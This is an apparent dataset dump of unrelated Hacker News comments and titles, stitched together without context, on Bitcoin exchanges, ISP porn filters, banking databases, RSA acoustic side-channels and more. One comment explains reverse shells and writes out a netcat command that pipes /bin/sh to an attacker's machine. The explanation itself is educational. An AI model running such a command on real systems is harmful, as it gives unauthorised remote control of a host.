skysight-inc/HackerNews huggingface dataset:
Zero Reserve - A distributed Bitcoin Exchange
They don't let random rich people on the buses, they only let company employees on. This makes sense, as each company pays for its own buses.

The complaint that those buses stop in bus stops illegally is IMHO valid and they should fix it (i.e., stop somewhere where they're allowed to).
It would be too complicated for some users.
Clojure has Slamhound. Yeah, I know you didn't want to hear about LISP...
Have you heard of that happening?

Here some cases where coinbase uses the original price even after a price increase:

http://www.reddit.com/r/Bitcoin/comments/1qlvgj/psa_rest_eas...

http://www.reddit.com/r/Bitcoin/comments/1qlvgj/psa_rest_eas...

http://www.reddit.com/r/Bitcoin/comments/1cxmuf/bought_5_btc...

And in this current case, coinbase used the new price even though the price decreased. So whether the price increases or decreases, coinbase is taking a loss and gives the money to the consumers.
Tim Berners-Lee leads call for more transparency over mass surveillance
I once had a book, in coffee table, landscape format that was titled "Linux Core Kernel Commentary Vol 2".

In the annotator's introduction it stated something like "I haven't seen this many goto statements since I was writing BASIC as a teenager!" but then went on to explain why sometimes they're the right tool for the job.

I'll have to order another copy. It was an amazingly varied source of knowledge!

[1] http://www.amazon.com/Linux-Core-Kernel-Commentary-Edition/d...
Being hugely pedantic, the "world's toughest encryption" is a one-time pad, and they didn't crack that.
There is a lot of porn available on Reddit.

The filter is a stupid idea. But including Reddit on an opt-out porn filter is reasonable.
Yep, my hippy friend does this. I thought he was being a bit paranoid.
If mining all instantly, the key with intracoins is getting the equations right in terms of issuance and supply. There'd have to be some way of issuing them properly. Even if it just equated to the amount of cash reserves and/or cryptocoins the company had, because the idea is that anyone can cash out their intracoins if they need to. Staff need the confidence that they can do that at any time (provided management approves of it (perhaps only some staff have cashout approval privileges)) but the ability has to be there, even if management's willingness is not. For example, an automotive company needs to buy new tires, and it's the tire department that only has intracoins by having sold tires to production line, so that department cashes them out on the company exchange and buys tires from Dunlop. The production line needs some way of getting reimbursed by management or a Sales department who recycles coins back into it (once cars have been sold), so it can then buy new tires and other factors of production to keep making cars. Perhaps Sales would make an order for xx cars from Production and pay with the intracoins it has converted from the cash/cryptocoins it has gained at the edge of the organization.

And this also leads to interesting use cases with company conglomerates -- sort of like frequent flyer points that can be used interchangeably across certain groups of airlines... but in this case intracoins across certain allianced firms.
> It sure has some fabricated pieces, but I've seen tons of similar examples in real life

OK, what are your real life examples? :) I'm trying to see through the myth.

> you can find tons of DailyWTF worthy material even in Stack Overflow questions and answers

Plenty of examples of crappy code on Stack Overflow, not so many examples of crappy managers.
TL;DR: Paranoid? Turn on Metallica up to eleven when decrypting data
You have often a (single) big switch in lexers (often automatically generated). In network communication, you have often a big switch on the type of message (less often automatically generated).

It is not a bad pattern to have switch in those cases, but it is often present in code analyse rules. Code analyse tools are very bad to distinguish between good use of a feature that is rarely used and missuse of this feature.
New users are opted in by default, but can opt out.

Existing users get the menu option choice.
Previous discussion on HN (270 points | 89 comments)

(Notably about why playing music does not mitigate the threat.)

https://news.ycombinator.com/item?id=6927905
It just shows it is too difficult and expensive to break the system given the prize value and the constraints put on what are acceptable attacks.

Any system can be proven secured by such a contest if you limit acceptable attacks to the parts where you know the system is the strongest... but a real attacker will always aim at the weakest part.
"I don't have the ability to forward this to the CEO"?

Fix that even before fixing the reconciliations...
s/crack/bypassed/
Axure RP 7 Announcement
It's because "goto considered harmful" is a catchy meme, and also many older programmers have had understandably bad experiences with code that abuses goto.
I think we had plenty of these rants about torrents and how they damage music/film/game industry. I am expecting actually many more of these articles about bitcoin vs banks in future.
Webmaster security game
Apple is the only business that might take your gear out of warranty and fix it for you.I broke my macbook screen 2 times and they replaced it for free even if it was not under warranty anymore. That's the main reason why i buy Apple's gear, but i guess i pay a premium for that upfront.
i built sucessful teams in the Netherlands, Ukraine, Poland, India, Spain and Portugal.

I built a team in Vietnam two years ago together with another company, but i'm sorry to say we were badly scammed there with the most common scam; as soon as you are happy and the machine is well oiled, juniors replace the seniors for the work except in Skype calls where the guys you recruited and know still show up to play the part. We should've stayed on location maybe but I find it very uncomfortable to work with that level of distrust.

Hope you fare better! I met great coders there. Almost all played along with the charade; one of them contacted my recently telling he was sorry and explaining that it is common practice because they make more money that way and clients usually don't notice. Had this over the years in all Asians countries we worked with, however except this one it never happened after actually being on location.
Most companies have a bit of turnover every single year. For knowledge based companies like mine, we have 3000 people at the desk. I don't know our turnover numbers, but if i ballpark it at around 20%, that would be $3M up front, then around $15000/yr perpetually, assuming that turnover rate.

For large enterprises, the upfront cost requires a bit of coaxing, while the maintenance cost is a no-brainer. I'd be curious to see where they go with larger installations. I'd love to see this product aimed at enterprises for 50-60 employees reporting up to a dirext or middle manager, while also proving insight to the executive team.
There's a big problem with them blocking gay, lesbian and transgender content as well. Basically labelling any content along those lines as censorworthy, whether it's pornographic or not.
Thanks. You are correct, the non-JavaScript fall back is just a link to the video on youtube. As well as being faster than putting the video straight into the page, I also think it looks better this way.

If you're interested, the JavaScript to do this is in this file - http://bugmuncher.com/assets/js/common.js - which reminds me, I really should minify that.
2 points lost for giving insight and fixing mistakes. Thank you.
The relationship between Microsoft and Intellectual Ventures, and the relationship between the Bill & Melinda Gates Foundation and Intellectual Ventures has me slightly concerned.
Very few financial systems are ACID. Why do people still think banks run on bloody MySQL?
My sister (totally tech naive) got a new (1 model out of date, but 2 models newer than her old one) MacBook Pro after having 3-4 problems with it (all under warranty) in her final 2 months of warranty and into her third year of ownership (I had made her get AppleCare).

I've always been very happy with apple service
Analytics tool RevRise reports 77% increase in conversion rate
A child wants to get advice about sexual abuse, but the site he visits is wrongly blocked by the filter, and that child doesn't have the authority to opt out.

A number of sites with adult content are blocked, even if they also have a lot of non-adult content. See, for example, Reddit.

The filters are supposed to be granular. But I'm not sure they are. Can someone say they don't mind breasts but don't want legs-apart insertion close-ups?

The idea is weird - People are stupid and computers are hard and people want to filter porn / other stuff, and so ISPs should offer customers the opportunity to filter stuff. Well, I guess that idea is okay, but it shows stunning ignorance of computing and some really bad assumptions about technology.
Ask HN: A dashboard for cloud VMs, Docker, Vagrant, Chef/Puppet/Ansible?
I've written a basic dashboard to help me manage Docker containers that are spawned by my product's users. I was thinking - a dashboard that:

1) Lets you manage cloud VMs across cloud(I know, it exists, but here it comes..)

2) Allows you to upload/edit a Vagrantfile, and then automatically builds the Vagrant VM; Could do something similar for Docker.

3) Allows you to upload/edit Chef recipes, Puppetfiles and Ansible playbooks, to provision servers - which you can then monitor right there.

Thoughts, of course. Planning to hack something up in the next two weeks. Question is, does this even make the remotest sense, or am I off the mark?

Thanks!
Worked at a bank as what? Working at a bank clearly doesn't make someone an expert on their IT infrastructure. The actual financial transaction infrastructure isn't ACID.
Yes I know about this. It's a good question of economics meets information systems. But I do know in larger companies, getting management approval of certain purchases can take a really long time. I have a feeling that with intrachains, management will have more information on hand to determine if and when they can approve of purchases (and they can also track finances better overall.) Also, staff can have a better idea if making such a purchase request is feasible to the company. So firms can be larger, and operate with less oversight... that'd be the goal. I think there are issues of transparency and confidentiality, though, it may be risky for everyone at a firm to know everything happening in the blockchain and a firm's microeconomy in general.. especially if the blockchain is widely used: it could cause political issues, tax issues... other problems.
TL;DR firmware flash disables LED on some webcams, particularly Macbooks'.

We already knew this: http://security.stackexchange.com/q/6758/10863
Well then, third post in week or so, I see HN has become the official support system for Coinbase ...
Official Usability, User Experience & User Interface Guidelines From Companies
In theory they are forbidden. Abuse desks are understaffed and overwhelmed and so nothing ever happens.
If you are serious and passionate about this idea, I recommend digging in deeper and thinking of more specific examples of how you can improve on the status quo. You say that you want to design from the ground up to be more transformable than anything else, but without specifics this is just a goal, and it's not clear that a new language is necessary or would buy you anything.

For example, take your idea about wanting to be able to replace all instantiations with a function call instead. There's no need to invent a new language for this; the AST of a program in most any language would have enough information to write this refactoring capability into a tool. The hard part would be expressing the refactoring itself; how do you specify exactly the pattern you are trying to match, and exactly what you want to rewrite it to, in a way that is easy to use?

Maybe some other ideas you have would require a new language, but it's hard to say unless you are more specific about what you want. You might find that a lot of your ideas are implementable on top of existing systems. Designing "from the ground up" has a certain appeal to it, but to justify the extreme amount of effort a new language would take, I think you'd want to be more specific about what the clean break would buy you.
cx_freeze just package python apps so you can distribute them like native apps, that is without requiring the installation of the python interpreter. It doesn't impact performance.

Performance oriented pythonners go with pypy, numpy, cython, numba, etc. Each of them gives a very significant speed boost.
"Although company passwords are stored in encrypted form, hackers in some cases have shown the ability to decode such information"

Then they arn't really encrypted are they... this really annoys me as it shifts the blame away from them and their poor security standards and threat models.
What is crazy is people claiming a bank uses a transactional database for their financial transaction processing or that all parts of that system are "ACID". Both are false. Don't like MongoDB? Fair enough, it isn't great. But the tech banks use is a lot closer to MongoDB's persistence model than it is to your typical RDBMS.
All good points, however Bret Victor has specifically been showing off alternatives to low level programming by building very high levels of abstraction. He has even apparently said that he thinks the development community is purposely keeping programming complicated to maintain the demand for their specialized skills. I think the law of leaky abstractions is why it is simply not possible to elevate programming to a level of abstraction that allows people without specialized skills to implement arbitrary applications.
I agree with everything you said, but a minor correction: the Rafale has not been exported yet, India has yet to acquire it.
All that rhetoric about "Hard working familes"? That's because a large part of the voting public are indeed familes. They are also able to be manipulated by appealing to a sense they're not doing enough to protect their offspring.
> 1.25 TB of Touhou music

I am going to have nightmares tonight...
You can mine on solar energy https://bitcointalk.org/index.php?topic=376437.0
https://news.ycombinator.com/item?id=6929705
Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication.

If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you.

The "classic way" to do this is to run two instances of netcat in listening mode on your machine:

terminal1> nc -l 8001

terminal2> nc -l 8002

Then you run something like this on the remote system:

nc your.machine 8001 | /bin/sh | nc your.machine 8002

Now you can enter commands in terminal1 and see their output in terminal2.
Where are the violence filters? I'm betting these filters don't block beheading videos etc. (Please correct me if I'm wrong).
Short answer: go camp out at HackerDojo and talk to everyone you meet while you are here. Showing up in person was an odd move. Take the time to tour Stanford, the Computer History Museum, UC Berkeley. Go to SF meetups and knock on doors.
Stock footage video free | Flickr - Photo Sharing
@random_user - I'm 47, and have taken a similar though not quite as successful path as you. Started my first job at 17, no degree, got booted out of my first CS class for debugging the instructor's code too much. Worked at a few places, then as a contractor after that. Did some interesting stuff with realtime and embedded systems, and some boring stuff too. I can debug anything. I've used a VT-100, though I preferred the Wyse 50 as my daily driver back in the day.

I live in Los Angeles. If you'd like to grab some lunch some time, shoot me an email:

http://www.google.com/recaptcha/mailhide/d?k=01DldAjfc_NO3uD...

I don't have any job leads or business ideas for you. Just some war stories to swap.

PS This is a throwaway email, it may take a few days for me to check and respond. If you do contact me, send me some kind of a token in your email, then copy/paste the token here as a reply so I'll know it's you and not some clever HN prankster.
This is really impressive work. After skimming through the detailed paper it looks as if they are not picking up sound emitted from the CPU itself, but from the switching power supply circuit.

The frequency variation is caused by load differences. So they are in fact doing an indirect power analysis. A switching power supply will always change frequency as a reaction to variations in supply current, this is inherent to its design. I also believe that it will be very difficult to "muffle" all the inductors and capacitors as they are subjected to very high pulse loads. Magnetics will always find a way to emit sound...

It's interesting to note that the biggest difference seems to be between register and memory instructions. This seems reasonable as memory instruction may, in the worst case, require powering the external bus, which is very power hungry. This will only get worse in future CPUs, as more and more clock gating is introduced.

So, I guess some countermeasures could be:

- If the CPU supports SMT or HT, load the other cores with a thread accessing random memory positions.

- Optimize the RSA code so that it's memory access and runtime pattern does not depend on the key or clean text.

- Try to localize the RSA code as much as possible to reduce memory accesses. If memory access is required, do it all at once, for example by swapping entire cache pages.

Some of these are highly CPU dependent.
Wow, that is pretty surprising.

First thing in support is, YOU are the face of the company as far as the person you are in contact with, can see.

Second thing is, if you don't know, don't guess; tell them you will check into X and get back to them about it.

Third, empathize with the person - wouldn't you be worried over the disposition of $10K if you took it out of your bank account and then had problems getting what you ordered?
Can we finally stop listening to the Winklevoss twins now?
That's why Steve Yegge said some article that compilers writers should have a configuration in their compiler to export the annotated AST. Then the tools would get better quickly.
Meh, sensationalist title.

Already commented on the first submission: https://news.ycombinator.com/item?id=6933678
> Auditors will "find"

Does Coinbase have external auditors?
This is exactly why I'm not buying bitcoins in the current dip. Counterparty risk on the exchanges.

http://fc13.ifca.ai/proc/1-2.pdf
You posted here at pretty much the exact wrong time (11:30pm PT) but I would still be surprised if you don't eventually get taken care of (assuming a legit situation).
The hard part is to find a great contractor that is not only technically skilled but responsible. Very difficult

Can u refer me to ur contractor in India?
A related article from a few weeks ago: http://tratt.net/laurie/blog/entries/the_bootstrapped_compil...
Plan 9's userspace was originally written mostly in Alef, a predecessor of Go, then translated to C. I wonder if the original version of the C toolchain was in Alef, too.
Unfortunately I don't think there is a easy way to check.
Announcing Simoncoin - world's first individual altcoin
In Search of Erupting Black Holes
While I'm inclined to believe the OP, the text posted does set of my spidey sense.
We are working in the same team, you screw something up once. I will very politely show you why it's wrong and show you the correct way to do it and maybe tell you a story of when I was "young" I thought the same thing. I will not call you names, because everybody makes mistakes.

However if you for some reason will insist on doing it the wrong way despite the fact that you can't back up your claims, I will call you names, and I won't care a shit about your skin colour/gender/nationality/whatever.

Yes it is a collaborative field, that's why I will do everything I can to make you do your best for the product, however if it's a lost cause, I will call you names.
FBI had knowledge about this security vulnerability for years, yet they traded the security of innocent for an increased attack capability.

This is of course nothing new. They used Firefox zero day vulnerabilities before. It just highlights the priority that exist today. Their job is no longer to serve and protect, but to create news article where they can gain glory of taking down bad people.
> I hear this a lot and I think it is grossly unfair.

Judges thought differently, multiple times.
When most people hear OO they understand C++... NesTalk is a good, real OO aproach to a machine emulator:

http://smalltalkhub.com/#!/~zeroflag/NesTalk
What are the best hardcore technical blogs out there?
In the Bill Gates thread someone linked to a blog called nynaeve.net. It seems interesting and while I really do enjoy working with web technologies as well as Android I love reading about stuff that goes on deeper down the technical stack as well. Especially when it is about old school tech and the hacks they had to do to get great performance out of the limited hardware available at the time.

I used to have a list of blogs such as this in my Google RSS reader but forgot to make a copy when Google shut the service down. So which hardcore tech blogs does HN find the most interesting? I don't care about the tech stack (Linux, Windows, etc...) and the older the better.
Thats a great book!
This is possible because of the electromagnetic signature generated by the processor's clock circuit while it is decrypting the data. The microphone is listening to the EM signal generated by the clock and timing the samples to reconstruct what the processor was doing. This type of attack is very difficult to carry out against a completely asynchronous or self-timed circuit that doesn't generate timed samples due to the lack of any central clock.
What you are missing is not the storage considerations, but tying the application to I/O. Too often I set out to find the bottlenecks in a high load application and find out that the logging is the bottleneck yet again.
Print your code backwards
Deference is our default setting. We never had a revolution here.
If all the did was compete fairly, it would not have been an issue, but they more than once were found to engage in unfair business practices. Such as financially punishing OEMs that opted to offer competing OS's.
So, can Go channels be implemented using channels?
Before the $25m round that was just announced, CoinBase had raised $6.71m.

What have they spent that money on?
Improving URL removals on third-party sites
zlog - A reliable pure C logging library
zlog is a reliable, high-performance, thread safe, flexible, clear-model, pure C logging library.
Why WordPress bloggers were blocked by TalkTalk, the state of Internet filtering